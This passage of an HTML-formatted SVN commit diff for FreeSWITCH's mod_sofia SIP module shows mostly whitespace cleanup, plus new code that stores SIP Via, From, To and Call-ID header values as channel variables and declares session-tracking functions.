</ins><span class="cx"> char *sofia_glue_get_extra_headers(switch_channel_t *channel, const char *prefix);
</span><span class="cx"> void sofia_glue_set_extra_headers(switch_channel_t *channel, sip_t const *sip, const char *prefix);
</span><span class="cx"> void sofia_info_send_sipfrag(switch_core_session_t *aleg, switch_core_session_t *bleg);
</span><span class="cx"> void sofia_update_callee_id(switch_core_session_t *session, sofia_profile_t *profile, sip_t const *sip, switch_bool_t send);
</span><span class="cx"> void sofia_send_callee_id(switch_core_session_t *session, const char *name, const char *number);
</span><span class="cx"> int sofia_sla_supported(sip_t const *sip);
</span><ins>+void sofia_glue_tech_untrack(sofia_profile_t *profile, switch_core_session_t *session, switch_bool_t force);
+void sofia_glue_tech_track(sofia_profile_t *profile, switch_core_session_t *session);
+int sofia_glue_recover(switch_bool_t flush);
</ins></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_sofiasofiac"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -52,8 +52,9 @@
</span><span class="cx"> extern su_log_t su_log_default[];
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-void sofia_handle_sip_i_reinvite(switch_core_session_t *session, 
-                                                                 nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
</del><ins>+void sofia_handle_sip_i_reinvite(switch_core_session_t *session,
+                                                                 nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                                 tagi_t tags[]);
</ins><span class="cx"> 
</span><span class="cx"> static void set_variable_sip_param(switch_channel_t *channel, char *header_type, sip_param_t const *params);
</span><span class="cx"> 
</span><span class="lines">@@ -88,7 +89,7 @@
</span><span class="cx"> #define url_set_chanvars(session, url, varprefix) _url_set_chanvars(session, url, #varprefix &quot;_user&quot;, #varprefix &quot;_host&quot;, #varprefix &quot;_port&quot;, #varprefix &quot;_uri&quot;, #varprefix &quot;_params&quot;)
</span><span class="cx"> 
</span><span class="cx"> static const char *_url_set_chanvars(switch_core_session_t *session, url_t *url, const char *user_var,
</span><del>-                                                          const char *host_var, const char *port_var, const char *uri_var, const char *params_var)
</del><ins>+                                                                         const char *host_var, const char *port_var, const char *uri_var, const char *params_var)
</ins><span class="cx"> {
</span><span class="cx">         const char *user = NULL, *host = NULL, *port = NULL;
</span><span class="cx">         char *uri = NULL;
</span><span class="lines">@@ -137,19 +138,85 @@
</span><span class="cx">         return uri;
</span><span class="cx"> }
</span><span class="cx"> 
</span><ins>+static char *strip_quotes(const char *in)
+{
+        char *t = (char *) in;
+        char *r = (char *) in;
</ins><span class="cx"> 
</span><del>-static void extract_vars(sip_t const *sip, switch_core_session_t *session)
</del><ins>+        if (*t == '&quot;') {
+                t++;
+
+                if (end_of(t) == '&quot;') {
+                        r = strdup(t);
+                        end_of(r) = '\0';
+                }
+        }
+
+        return r;
+}
+
+static void extract_header_vars(sofia_profile_t *profile, sip_t const *sip, switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><ins>+        char *full;
</ins><span class="cx"> 
</span><span class="cx">         if (sip) {
</span><del>-                if (sip-&gt;sip_from &amp;&amp; sip-&gt;sip_from-&gt;a_url) url_set_chanvars(session, sip-&gt;sip_from-&gt;a_url, sip_from);
-                if (sip-&gt;sip_request &amp;&amp; sip-&gt;sip_request-&gt;rq_url) url_set_chanvars(session, sip-&gt;sip_request-&gt;rq_url, sip_req);
-                if (sip-&gt;sip_to &amp;&amp; sip-&gt;sip_to-&gt;a_url) url_set_chanvars(session, sip-&gt;sip_to-&gt;a_url, sip_to);
-                if (sip-&gt;sip_contact &amp;&amp; sip-&gt;sip_contact-&gt;m_url) url_set_chanvars(session, sip-&gt;sip_contact-&gt;m_url, sip_contact);
-                if (sip-&gt;sip_referred_by &amp;&amp; sip-&gt;sip_referred_by-&gt;b_url) url_set_chanvars(session, sip-&gt;sip_referred_by-&gt;b_url, sip_referred_by);
</del><ins>+                if (sip-&gt;sip_via) {
+                        if ((full = sip_header_as_string(profile-&gt;home, (void *) sip-&gt;sip_via))) {
+                                const char *v = switch_channel_get_variable(channel, &quot;sip_full_via&quot;);
+                                if (!v) {
+                                        switch_channel_set_variable(channel, &quot;sip_full_via&quot;, full);
+                                }
+                                su_free(profile-&gt;home, full);
+                        }
+                }
+                if (sip-&gt;sip_from) {
+                        char *p = strip_quotes(sip-&gt;sip_from-&gt;a_display);
+
+                        if (p) {
+                                switch_channel_set_variable(channel, &quot;sip_from_display&quot;, p);
+                        }
+                        if (p != sip-&gt;sip_from-&gt;a_display) free(p);
+                        if ((full = sip_header_as_string(profile-&gt;home, (void *) sip-&gt;sip_from))) {
+                                switch_channel_set_variable(channel, &quot;sip_full_from&quot;, full);
+                                su_free(profile-&gt;home, full);
+                        }
+                }
+                if (sip-&gt;sip_to) {
+                        char *p = strip_quotes(sip-&gt;sip_to-&gt;a_display);
+
+                        if (p) {
+                                switch_channel_set_variable(channel, &quot;sip_to_display&quot;, p);
+                        }
+
+                        if (p != sip-&gt;sip_to-&gt;a_display) free(p);
+
+                        if ((full = sip_header_as_string(profile-&gt;home, (void *) sip-&gt;sip_to))) {
+                                switch_channel_set_variable(channel, &quot;sip_full_to&quot;, full);
+                                su_free(profile-&gt;home, full);
+                        }
+                }
+
+        }
+}
+
+static void extract_vars(sofia_profile_t *profile, sip_t const *sip, switch_core_session_t *session)
+{
+        switch_channel_t *channel = switch_core_session_get_channel(session);
+
+        if (sip) {
+                if (sip-&gt;sip_from &amp;&amp; sip-&gt;sip_from-&gt;a_url)
+                        url_set_chanvars(session, sip-&gt;sip_from-&gt;a_url, sip_from);
+                if (sip-&gt;sip_request &amp;&amp; sip-&gt;sip_request-&gt;rq_url)
+                        url_set_chanvars(session, sip-&gt;sip_request-&gt;rq_url, sip_req);
+                if (sip-&gt;sip_to &amp;&amp; sip-&gt;sip_to-&gt;a_url)
+                        url_set_chanvars(session, sip-&gt;sip_to-&gt;a_url, sip_to);
+                if (sip-&gt;sip_contact &amp;&amp; sip-&gt;sip_contact-&gt;m_url)
+                        url_set_chanvars(session, sip-&gt;sip_contact-&gt;m_url, sip_contact);
+                if (sip-&gt;sip_referred_by &amp;&amp; sip-&gt;sip_referred_by-&gt;b_url)
+                        url_set_chanvars(session, sip-&gt;sip_referred_by-&gt;b_url, sip_referred_by);
</ins><span class="cx">                 if (sip-&gt;sip_to &amp;&amp; sip-&gt;sip_to-&gt;a_tag) {
</span><del>-                                        switch_channel_set_variable(channel, &quot;sip_to_tag&quot;, sip-&gt;sip_to-&gt;a_tag);
</del><ins>+                        switch_channel_set_variable(channel, &quot;sip_to_tag&quot;, sip-&gt;sip_to-&gt;a_tag);
</ins><span class="cx">                 }
</span><span class="cx">                 if (sip-&gt;sip_from &amp;&amp; sip-&gt;sip_from-&gt;a_tag) {
</span><span class="cx">                         switch_channel_set_variable(channel, &quot;sip_from_tag&quot;, sip-&gt;sip_from-&gt;a_tag);
</span><span class="lines">@@ -159,6 +226,9 @@
</span><span class="cx">                         switch_snprintf(sip_cseq, sizeof(sip_cseq), &quot;%d&quot;, sip-&gt;sip_cseq-&gt;cs_seq);
</span><span class="cx">                         switch_channel_set_variable(channel, &quot;sip_cseq&quot;, sip_cseq);
</span><span class="cx">                 }
</span><ins>+                if (sip-&gt;sip_call_id &amp;&amp; sip-&gt;sip_call_id-&gt;i_id) {
+                        switch_channel_set_variable(channel, &quot;sip_call_id&quot;, sip-&gt;sip_call_id-&gt;i_id);
+                }
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -187,9 +257,9 @@
</span><span class="cx">          * nua, and also pick them off special elsewhere here in sofia.c - MTK
</span><span class="cx">          * *and* for Linksys, I believe they use &quot;sa&quot; as their magic appearance agent name for those blind notifies, so
</span><span class="cx">          * we'll probably have to change to match
</span><del>-        */
</del><ins>+         */
</ins><span class="cx">         if (sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE)) {
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sip-&gt;sip_request-&gt;rq_url-&gt;url_user &amp;&amp; !strncmp(sip-&gt;sip_request-&gt;rq_url-&gt;url_user, &quot;sla-agent&quot;, sizeof(&quot;sla-agent&quot;))) {
</span><span class="cx">                         sofia_sla_handle_sip_i_notify(nua, profile, nh, sip, tags);
</span><span class="cx">                         goto end;
</span><span class="lines">@@ -212,10 +282,7 @@
</span><span class="cx"> 
</span><span class="cx">         /* For additional NOTIFY event packages see http://www.iana.org/assignments/sip-events. */
</span><span class="cx">         if (sip-&gt;sip_content_type &amp;&amp;
</span><del>-                sip-&gt;sip_content_type-&gt;c_type &amp;&amp;
-                sip-&gt;sip_payload &amp;&amp;
-                sip-&gt;sip_payload-&gt;pl_data &amp;&amp;
-                !strcasecmp(sip-&gt;sip_event-&gt;o_type, &quot;refer&quot;)) {
</del><ins>+                sip-&gt;sip_content_type-&gt;c_type &amp;&amp; sip-&gt;sip_payload &amp;&amp; sip-&gt;sip_payload-&gt;pl_data &amp;&amp; !strcasecmp(sip-&gt;sip_event-&gt;o_type, &quot;refer&quot;)) {
</ins><span class="cx">                 if (switch_event_create_subclass(&amp;s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_NOTIFY_REFER) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, &quot;content-type&quot;, sip-&gt;sip_content_type-&gt;c_type);
</span><span class="cx">                         switch_event_add_body(s_event, &quot;%s&quot;, sip-&gt;sip_payload-&gt;pl_data);
</span><span class="lines">@@ -226,17 +293,15 @@
</span><span class="cx">         if (s_event != NULL) {
</span><span class="cx">                 switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, &quot;event-package&quot;, sip-&gt;sip_event-&gt;o_type);
</span><span class="cx">                 switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, &quot;event-id&quot;, sip-&gt;sip_event-&gt;o_id);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sip-&gt;sip_contact &amp;&amp; sip-&gt;sip_contact-&gt;m_url) {
</span><del>-                        switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, &quot;contact&quot;, &quot;%s@%s&quot;, 
</del><ins>+                        switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, &quot;contact&quot;, &quot;%s@%s&quot;,
</ins><span class="cx">                                                                         sip-&gt;sip_contact-&gt;m_url-&gt;url_user, sip-&gt;sip_contact-&gt;m_url-&gt;url_host);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, &quot;from&quot;, &quot;%s@%s&quot;, 
-                                                                sip-&gt;sip_from-&gt;a_url-&gt;url_user, sip-&gt;sip_from-&gt;a_url-&gt;url_host);
</del><ins>+                switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, &quot;from&quot;, &quot;%s@%s&quot;, sip-&gt;sip_from-&gt;a_url-&gt;url_user, sip-&gt;sip_from-&gt;a_url-&gt;url_host);
</ins><span class="cx">                 switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, &quot;from-tag&quot;, sip-&gt;sip_from-&gt;a_tag);
</span><del>-                switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, &quot;to&quot;, &quot;%s@%s&quot;, 
-                                                                sip-&gt;sip_to-&gt;a_url-&gt;url_user, sip-&gt;sip_to-&gt;a_url-&gt;url_host);
</del><ins>+                switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, &quot;to&quot;, &quot;%s@%s&quot;, sip-&gt;sip_to-&gt;a_url-&gt;url_user, sip-&gt;sip_to-&gt;a_url-&gt;url_host);
</ins><span class="cx">                 switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, &quot;to-tag&quot;, sip-&gt;sip_to-&gt;a_tag);
</span><span class="cx"> 
</span><span class="cx">                 if (sip-&gt;sip_call_id &amp;&amp; sip-&gt;sip_call_id-&gt;i_id) {
</span><span class="lines">@@ -300,27 +365,26 @@
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!sofia_private || !sofia_private-&gt;gateway) {
</span><span class="cx">                 if (profile-&gt;debug) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Gateway information missing Subscription Event: %s\n&quot;, sip-&gt;sip_event-&gt;o_type);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Gateway information missing Subscription Event: %s\n&quot;,
+                                                          sip-&gt;sip_event-&gt;o_type);
</ins><span class="cx">                 }
</span><del>-                goto error;        
</del><ins>+                goto error;
</ins><span class="cx">         }
</span><del>-                                
</del><ins>+
</ins><span class="cx">         /* find the corresponding gateway subscription (if any) */
</span><span class="cx">         if (!(gw_sub_ptr = sofia_find_gateway_subscription(sofia_private-&gt;gateway, sip-&gt;sip_event-&gt;o_type))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</span><span class="cx">                                                   &quot;Could not find gateway subscription.  Gateway: %s.  Subscription Event: %s\n&quot;,
</span><span class="cx">                                                   sofia_private-&gt;gateway-&gt;name, sip-&gt;sip_event-&gt;o_type);
</span><del>-                goto error;        
</del><ins>+                goto error;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (!(gw_sub_ptr-&gt;state == SUB_STATE_SUBED || gw_sub_ptr-&gt;state == SUB_STATE_SUBSCRIBE)) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
-                                                  &quot;Ignoring notify due to subscription state: %d\n&quot;,
-                                                  gw_sub_ptr-&gt;state);
-                goto error;        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Ignoring notify due to subscription state: %d\n&quot;, gw_sub_ptr-&gt;state);
+                goto error;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* dispatch freeswitch event */
</span><span class="lines">@@ -337,7 +401,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;dispatched freeswitch event for message-summary NOTIFY\n&quot;);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Failed to create event\n&quot;);
</span><del>-                goto error;        
</del><ins>+                goto error;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         goto end;
</span><span class="lines">@@ -351,10 +415,10 @@
</span><span class="cx">         } else {
</span><span class="cx">                 nua_respond(nh, 481, &quot;Subscription Does Not Exist&quot;, NUTAG_WITH_THIS(nua), TAG_END());
</span><span class="cx">         }
</span><del>-        
- end:
-        
-        if (sub_state == nua_substate_terminated &amp;&amp; sofia_private &amp;&amp; sofia_private != &amp;mod_sofia_globals.destroy_private &amp;&amp; 
</del><ins>+
+  end:
+
+        if (sub_state == nua_substate_terminated &amp;&amp; sofia_private &amp;&amp; sofia_private != &amp;mod_sofia_globals.destroy_private &amp;&amp;
</ins><span class="cx">                 sofia_private != &amp;mod_sofia_globals.keep_private) {
</span><span class="cx">                 sofia_private-&gt;destroy_nh = 1;
</span><span class="cx">                 sofia_private-&gt;destroy_me = 1;
</span><span class="lines">@@ -385,14 +449,13 @@
</span><span class="cx"> #ifdef MANUAL_BYE
</span><span class="cx">         status = 200;
</span><span class="cx">         phrase = &quot;OK&quot;;
</span><del>-        
</del><ins>+
</ins><span class="cx">         sofia_set_flag_locked(tech_pvt, TFLAG_BYE);
</span><span class="cx">         call_info = switch_channel_get_variable(channel, &quot;presence_call_info_full&quot;);
</span><span class="cx"> 
</span><del>-        if (sip-&gt;sip_reason &amp;&amp; sip-&gt;sip_reason-&gt;re_protocol &amp;&amp;
-                (!strcasecmp(sip-&gt;sip_reason-&gt;re_protocol, &quot;Q.850&quot;) 
-                        || !strcasecmp(sip-&gt;sip_reason-&gt;re_protocol, &quot;FreeSWITCH&quot;)
-                        || !strcasecmp(sip-&gt;sip_reason-&gt;re_protocol, profile-&gt;username)) &amp;&amp; sip-&gt;sip_reason-&gt;re_cause) {
</del><ins>+        if (sip-&gt;sip_reason &amp;&amp; sip-&gt;sip_reason-&gt;re_protocol &amp;&amp; (!strcasecmp(sip-&gt;sip_reason-&gt;re_protocol, &quot;Q.850&quot;)
+                                                                                                                        || !strcasecmp(sip-&gt;sip_reason-&gt;re_protocol, &quot;FreeSWITCH&quot;)
+                                                                                                                        || !strcasecmp(sip-&gt;sip_reason-&gt;re_protocol, profile-&gt;username)) &amp;&amp; sip-&gt;sip_reason-&gt;re_cause) {
</ins><span class="cx">                 tech_pvt-&gt;q850_cause = atoi(sip-&gt;sip_reason-&gt;re_cause);
</span><span class="cx">                 cause = tech_pvt-&gt;q850_cause;
</span><span class="cx">         } else {
</span><span class="lines">@@ -409,21 +472,20 @@
</span><span class="cx"> 
</span><span class="cx">         switch_snprintf(st, sizeof(st), &quot;%d&quot;, cause);
</span><span class="cx">         switch_channel_set_variable(channel, &quot;sip_term_cause&quot;, st);
</span><del>-        
</del><ins>+
</ins><span class="cx">         extra_headers = sofia_glue_get_extra_headers(channel, SOFIA_SIP_BYE_HEADER_PREFIX);
</span><span class="cx">         sofia_glue_set_extra_headers(channel, sip, SOFIA_SIP_BYE_HEADER_PREFIX);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_channel_hangup(channel, cause);
</span><del>-        nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), 
-                                TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
-                                TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
-                
</del><ins>+        nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua),
+                                TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)), TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
+
</ins><span class="cx">         switch_safe_free(extra_headers);
</span><span class="cx"> 
</span><span class="cx">         if (sofia_private) {
</span><del>-        sofia_private-&gt;destroy_me = 1;
-        sofia_private-&gt;destroy_nh = 1;
-    }
</del><ins>+                sofia_private-&gt;destroy_me = 1;
+                sofia_private-&gt;destroy_nh = 1;
+        }
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -442,9 +504,9 @@
</span><span class="cx">         if ((tmp = sofia_glue_get_unknown_header(sip, &quot;P-RTP-Stat&quot;))) {
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;sip_p_rtp_stat&quot;, tmp);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         tech_pvt-&gt;got_bye = 1;
</span><del>-        switch_channel_set_variable(channel, &quot;sip_hangup_disposition&quot;, &quot;recv_bye&quot;);        
</del><ins>+        switch_channel_set_variable(channel, &quot;sip_hangup_disposition&quot;, &quot;recv_bye&quot;);
</ins><span class="cx"> 
</span><span class="cx">         return;
</span><span class="cx"> }
</span><span class="lines">@@ -456,16 +518,16 @@
</span><span class="cx"> void sofia_wait_for_reply(struct private_object *tech_pvt, nua_event_t event, uint32_t timeout)
</span><span class="cx"> {
</span><span class="cx">         time_t exp = switch_epoch_time_now(NULL) + timeout;
</span><del>-        
</del><ins>+
</ins><span class="cx">         tech_pvt-&gt;want_event = event;
</span><span class="cx"> 
</span><del>-        while(switch_channel_ready(tech_pvt-&gt;channel) &amp;&amp; tech_pvt-&gt;want_event &amp;&amp; switch_epoch_time_now(NULL) &lt; exp) {
</del><ins>+        while (switch_channel_ready(tech_pvt-&gt;channel) &amp;&amp; tech_pvt-&gt;want_event &amp;&amp; switch_epoch_time_now(NULL) &lt; exp) {
</ins><span class="cx">                 switch_yield(100000);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><del>-void sofia_send_callee_id(switch_core_session_t *session, const char *name, const char *number) 
</del><ins>+void sofia_send_callee_id(switch_core_session_t *session, const char *name, const char *number)
</ins><span class="cx"> {
</span><span class="cx">         const char *uuid;
</span><span class="cx">         switch_core_session_t *session_b;
</span><span class="lines">@@ -484,7 +546,7 @@
</span><span class="cx">         if (zstr(name)) {
</span><span class="cx">                 name = number;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(number)) {
</span><span class="cx">                 number = caller_profile-&gt;destination_number;
</span><span class="cx">         }
</span><span class="lines">@@ -533,7 +595,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if ((val = sofia_glue_get_unknown_header(sip, &quot;X-FS-Display-Name&quot;))) {
</span><del>-                name = (char *)val;
</del><ins>+                name = (char *) val;
</ins><span class="cx">                 fs++;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -557,18 +619,19 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (((tmp = switch_channel_get_variable(channel, &quot;effective_callee_id_name&quot;)) ||
</span><del>-                (tmp = switch_channel_get_variable(channel, &quot;sip_callee_id_name&quot;)) ||
</del><ins>+                 (tmp = switch_channel_get_variable(channel, &quot;sip_callee_id_name&quot;)) ||
</ins><span class="cx">                  (tmp = switch_channel_get_variable(channel, &quot;callee_id_name&quot;))) &amp;&amp; !zstr(tmp)) {
</span><del>-                name = (char *)tmp;
</del><ins>+                name = (char *) tmp;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (((tmp = switch_channel_get_variable(channel, &quot;effective_callee_id_number&quot;)) ||
</span><del>-                (tmp = switch_channel_get_variable(channel, &quot;sip_callee_id_number&quot;)) ||
</del><ins>+                 (tmp = switch_channel_get_variable(channel, &quot;sip_callee_id_number&quot;)) ||
</ins><span class="cx">                  (tmp = switch_channel_get_variable(channel, &quot;callee_id_number&quot;))) &amp;&amp; !zstr(tmp)) {
</span><span class="cx">                 number = tmp;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (zstr(name)) name = (char *) number;
</del><ins>+        if (zstr(name))
+                name = (char *) number;
</ins><span class="cx"> 
</span><span class="cx">         if (zstr(name) &amp;&amp; zstr(number)) {
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -585,7 +648,7 @@
</span><span class="cx">                 switch_channel_event_set_data(channel, event);
</span><span class="cx">                 switch_event_fire(&amp;event);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         caller_profile = switch_channel_get_caller_profile(channel);
</span><span class="cx"> 
</span><span class="cx">         if (!strcmp(caller_profile-&gt;callee_id_name, name) &amp;&amp; !strcmp(caller_profile-&gt;callee_id_number, number)) {
</span><span class="lines">@@ -601,7 +664,7 @@
</span><span class="cx">                 sofia_send_callee_id(session, NULL, NULL);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        end:
</del><ins>+  end:
</ins><span class="cx">         switch_safe_free(dup);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -639,7 +702,7 @@
</span><span class="cx">                                 channel = switch_core_session_get_channel(session);
</span><span class="cx">                                 if (tech_pvt) {
</span><span class="cx">                                         switch_mutex_lock(tech_pvt-&gt;sofia_mutex);
</span><del>-                                        locked = 1;                                                                                
</del><ins>+                                        locked = 1;
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         switch_core_session_rwunlock(session);
</span><span class="cx">                                         return;
</span><span class="lines">@@ -682,12 +745,12 @@
</span><span class="cx"> 
</span><span class="cx">                 if (authorization) {
</span><span class="cx">                         char network_ip[80];
</span><del>-                        sofia_glue_get_addr(nua_current_request(nua), network_ip,  sizeof(network_ip), NULL);
</del><ins>+                        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), NULL);
</ins><span class="cx">                         auth_res = sofia_reg_parse_auth(profile, authorization, sip,
</span><span class="cx">                                                                                         (char *) sip-&gt;sip_request-&gt;rq_method_name, tech_pvt-&gt;key, strlen(tech_pvt-&gt;key), network_ip, NULL, 0,
</span><span class="cx">                                                                                         REG_INVITE, NULL, NULL, NULL);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (auth_res != AUTH_OK) {
</span><span class="cx">                         //switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                         nua_respond(nh, SIP_401_UNAUTHORIZED, TAG_END());
</span><span class="lines">@@ -728,7 +791,7 @@
</span><span class="cx">                                 if (sip-&gt;sip_to &amp;&amp; sip-&gt;sip_to-&gt;a_tag) {
</span><span class="cx">                                         switch_channel_set_variable(channel, &quot;sip_to_tag&quot;, sip-&gt;sip_to-&gt;a_tag);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (sip-&gt;sip_from &amp;&amp; sip-&gt;sip_from-&gt;a_tag) {
</span><span class="cx">                                         switch_channel_set_variable(channel, &quot;sip_from_tag&quot;, sip-&gt;sip_from-&gt;a_tag);
</span><span class="cx">                                 }
</span><span class="lines">@@ -738,13 +801,22 @@
</span><span class="cx">                                         switch_snprintf(sip_cseq, sizeof(sip_cseq), &quot;%d&quot;, sip-&gt;sip_cseq-&gt;cs_seq);
</span><span class="cx">                                         switch_channel_set_variable(channel, &quot;sip_cseq&quot;, sip_cseq);
</span><span class="cx">                                 }
</span><ins>+
+                                if (sip-&gt;sip_call_id &amp;&amp; sip-&gt;sip_call_id-&gt;i_id) {
+                                        switch_channel_set_variable(channel, &quot;sip_call_id&quot;, sip-&gt;sip_call_id-&gt;i_id);
+                                }
+
+                                extract_header_vars(profile, sip, session);
+                                sofia_glue_tech_track(tech_pvt-&gt;profile, session);
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         case nua_r_ack:
</span><del>-                if (channel) switch_channel_set_flag(channel, CF_MEDIA_ACK);
</del><ins>+                if (channel)
+                        switch_channel_set_flag(channel, CF_MEDIA_ACK);
</ins><span class="cx">                 break;
</span><span class="cx">         case nua_r_shutdown:
</span><del>-                if (status &gt;= 200) su_root_break(profile-&gt;s_root);
</del><ins>+                if (status &gt;= 200)
+                        su_root_break(profile-&gt;s_root);
</ins><span class="cx">                 break;
</span><span class="cx">         case nua_r_message:
</span><span class="cx">                 sofia_handle_sip_r_message(status, profile, nh, sip);
</span><span class="lines">@@ -804,7 +876,8 @@
</span><span class="cx">         case nua_r_refer:
</span><span class="cx">                 break;
</span><span class="cx">         case nua_i_refer:
</span><del>-                if (session) sofia_handle_sip_i_refer(nua, profile, nh, session, sip, tags);
</del><ins>+                if (session)
+                        sofia_handle_sip_i_refer(nua, profile, nh, session, sip, tags);
</ins><span class="cx">                 break;
</span><span class="cx">         case nua_r_subscribe:
</span><span class="cx">                 sofia_presence_handle_sip_r_subscribe(status, phrase, nua, profile, nh, sofia_private, sip, tags);
</span><span class="lines">@@ -814,7 +887,8 @@
</span><span class="cx">                 break;
</span><span class="cx">         default:
</span><span class="cx">                 if (status &gt; 100) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s: unknown event %d: %03d %s\n&quot;, nua_event_name(event), event, status, phrase);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s: unknown event %d: %03d %s\n&quot;, nua_event_name(event), event,
+                                                          status, phrase);
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s: unknown event %d\n&quot;, nua_event_name(event), event);
</span><span class="cx">                 }
</span><span class="lines">@@ -834,7 +908,7 @@
</span><span class="cx">                 break;
</span><span class="cx"> 
</span><span class="cx">         case nua_i_notify:
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sip &amp;&amp; sip-&gt;sip_event &amp;&amp; !strcmp(sip-&gt;sip_event-&gt;o_type, &quot;dialog&quot;) &amp;&amp; sip-&gt;sip_event-&gt;o_params &amp;&amp; !strcmp(sip-&gt;sip_event-&gt;o_params[0], &quot;sla&quot;)) {
</span><span class="cx">                         check_destroy = 0;
</span><span class="cx">                 }
</span><span class="lines">@@ -859,11 +933,11 @@
</span><span class="cx">                         nh = NULL;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sofia_private &amp;&amp; sofia_private-&gt;destroy_me) {
</span><span class="cx">                 if (tech_pvt) {
</span><del>-            tech_pvt-&gt;sofia_private = NULL;
-        }
